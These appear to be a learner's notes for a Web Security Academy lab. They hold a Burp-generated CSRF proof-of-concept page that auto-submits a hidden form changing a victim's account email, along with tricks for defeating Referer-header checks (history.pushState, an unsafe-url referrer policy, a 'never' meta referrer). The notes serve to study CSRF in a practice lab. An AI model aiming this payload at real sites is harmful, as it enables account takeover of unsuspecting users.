document.forms[0].submit()
In the head part add Referrer-Policy: unsafe-url
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/your_website_domain')</script>
<form action="<https://0a9300ba037f355dc021aeaa00a500e8.web-security-academy.net/my-account/change-email>" method="POST">
<input type="hidden" name="email" value="fdgddfg@fsds.sdfds" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Add the following into HTML coed
<meta name="referrer" content="never">